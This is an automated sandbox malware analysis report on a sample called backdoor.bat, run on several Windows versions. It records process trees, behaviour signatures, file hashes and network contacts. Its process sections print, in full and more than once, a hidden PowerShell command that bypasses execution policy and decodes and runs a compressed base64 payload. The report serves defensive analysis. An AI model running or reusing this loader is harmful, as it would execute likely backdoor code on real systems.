Malware Analysis Report

2025-05-06 00:48

Sample ID 241109-zbrcma1hpl
Target backdoor.bat
SHA256 dc880c0a9e06cbdb8e2b7b1a366be244d130e0e84645afbdd619b36fdfca1613
Tags
discovery execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

dc880c0a9e06cbdb8e2b7b1a366be244d130e0e84645afbdd619b36fdfca1613

Threat Level: Likely malicious

The file backdoor.bat was found to be: Likely malicious.

Malicious Activity Summary

discovery execution

Command and Scripting Interpreter: PowerShell

Drops file in System32 directory

System Location Discovery: System Language Discovery

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-09 20:32

Signatures

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-11-09 20:32

Reported

2024-11-09 20:35

Platform

win11-20241007-en

Max time kernel

91s

Max time network

101s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2996 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
PID 2996 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
PID 2996 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

Network

Country Destination Domain Proto
N/A 172.21.124.113:80 tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp

Files

memory/1944-0-0x0000000074F2E000-0x0000000074F2F000-memory.dmp

memory/1944-1-0x0000000003170000-0x00000000031A6000-memory.dmp

memory/1944-3-0x0000000005850000-0x0000000005E7A000-memory.dmp

memory/1944-2-0x0000000074F20000-0x00000000756D1000-memory.dmp

memory/1944-5-0x0000000005750000-0x0000000005772000-memory.dmp

memory/1944-4-0x0000000074F20000-0x00000000756D1000-memory.dmp

memory/1944-6-0x0000000005E80000-0x0000000005EE6000-memory.dmp

memory/1944-7-0x0000000005FF0000-0x0000000006056000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bmktvjo.33l.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1944-13-0x00000000060E0000-0x0000000006437000-memory.dmp

memory/1944-17-0x0000000006600000-0x000000000661E000-memory.dmp

memory/1944-18-0x0000000006630000-0x000000000667C000-memory.dmp

memory/1944-19-0x0000000007D40000-0x00000000083BA000-memory.dmp

memory/1944-20-0x0000000006B30000-0x0000000006B4A000-memory.dmp

memory/1944-21-0x0000000074F2E000-0x0000000074F2F000-memory.dmp

memory/1944-22-0x0000000074F20000-0x00000000756D1000-memory.dmp

memory/1944-26-0x0000000074F20000-0x00000000756D1000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-09 20:32

Reported

2024-11-09 20:35

Platform

win7-20240903-en

Max time kernel

119s

Max time network

123s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" shell32.dll,Options_RunDLL 7

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe"

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe"

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

Network

Country Destination Domain Proto
N/A 172.21.124.113:80 tcp
N/A 172.21.124.113:80 tcp
N/A 172.21.124.113:80 tcp

Files

memory/372-2-0x0000000074431000-0x0000000074432000-memory.dmp

memory/372-3-0x0000000074430000-0x00000000749DB000-memory.dmp

memory/372-6-0x0000000074430000-0x00000000749DB000-memory.dmp

memory/372-5-0x0000000074430000-0x00000000749DB000-memory.dmp

memory/372-4-0x0000000074430000-0x00000000749DB000-memory.dmp

memory/372-7-0x0000000074430000-0x00000000749DB000-memory.dmp

memory/372-8-0x0000000074430000-0x00000000749DB000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f8f106e67842dad3652a52d648497b35
SHA1 db3a3197a07c813523ab40b936c682c8e0f1b512
SHA256 cc8793d312816e04621c6c62239d11f2eb7f64253478971a6eb2df8823492257
SHA512 154788e6048f2b3dd3820181a8530e19d071623137e4a0b174507b68787a3fcae034464dd0ab705fe2809183aabbcbea65a5d6bd63e5a6398b7e7c6ffea8d4af

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SMQ1S6BJA1IYWUWXYBFX.temp

MD5 37fc13f184aea442f3fc9caa1d9acd64
SHA1 6749062d4ac7337e2ed227f922486500e6a50ea6
SHA256 5ac9a2f9e74af41c0dd387ea55aeb308060927ee0ce5c7e697643253c10dd49f
SHA512 3666b8324ed19a2bab747d3c93dc113a9bd5ff7af6dc5d16facac00e03a1e875572764454b8736afb9b76bfcba57e6c1a2392b5d67c17fe320767e42dabaa196

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-09 20:32

Reported

2024-11-09 20:35

Platform

win10v2004-20241007-en

Max time kernel

126s

Max time network

128s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3568 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
PID 3568 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
PID 3568 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
N/A 172.21.124.113:80 tcp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp

Files

memory/1836-0-0x000000007506E000-0x000000007506F000-memory.dmp

memory/1836-1-0x00000000021D0000-0x0000000002206000-memory.dmp

memory/1836-2-0x0000000075060000-0x0000000075810000-memory.dmp

memory/1836-3-0x0000000004DD0000-0x00000000053F8000-memory.dmp

memory/1836-4-0x0000000004C40000-0x0000000004C62000-memory.dmp

memory/1836-5-0x0000000004CE0000-0x0000000004D46000-memory.dmp

memory/1836-6-0x0000000004D50000-0x0000000004DB6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ig4lzw35.40r.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1836-16-0x00000000054C0000-0x0000000005814000-memory.dmp

memory/1836-17-0x0000000005B00000-0x0000000005B1E000-memory.dmp

memory/1836-18-0x0000000005B20000-0x0000000005B6C000-memory.dmp

memory/1836-19-0x0000000007430000-0x0000000007AAA000-memory.dmp

memory/1836-20-0x0000000006000000-0x000000000601A000-memory.dmp

memory/1836-21-0x000000007506E000-0x000000007506F000-memory.dmp

memory/1836-22-0x0000000075060000-0x0000000075810000-memory.dmp

memory/1836-26-0x0000000075060000-0x0000000075810000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-11-09 20:32

Reported

2024-11-09 20:35

Platform

win10ltsc2021-20241023-en

Max time kernel

97s

Max time network

125s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4612 wrote to memory of 4188 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
PID 4612 wrote to memory of 4188 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
PID 4612 wrote to memory of 4188 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

Network

Country Destination Domain Proto
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
N/A 172.21.124.113:80 tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp

Files

memory/4188-0-0x000000007469E000-0x000000007469F000-memory.dmp

memory/4188-1-0x0000000005050000-0x0000000005086000-memory.dmp

memory/4188-3-0x0000000005870000-0x0000000005F3A000-memory.dmp

memory/4188-2-0x0000000074690000-0x0000000074E41000-memory.dmp

memory/4188-4-0x0000000005F40000-0x0000000005F62000-memory.dmp

memory/4188-5-0x0000000005FE0000-0x0000000006046000-memory.dmp

memory/4188-6-0x0000000006050000-0x00000000060B6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzb5yqdx.u0d.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4188-16-0x00000000061D0000-0x0000000006527000-memory.dmp

memory/4188-17-0x00000000066C0000-0x00000000066DE000-memory.dmp

memory/4188-18-0x0000000006710000-0x000000000675C000-memory.dmp

memory/4188-19-0x0000000008020000-0x000000000869A000-memory.dmp

memory/4188-20-0x00000000077A0000-0x00000000077BA000-memory.dmp

memory/4188-21-0x000000007469E000-0x000000007469F000-memory.dmp

memory/4188-22-0x0000000074690000-0x0000000074E41000-memory.dmp

memory/4188-26-0x0000000074690000-0x0000000074E41000-memory.dmp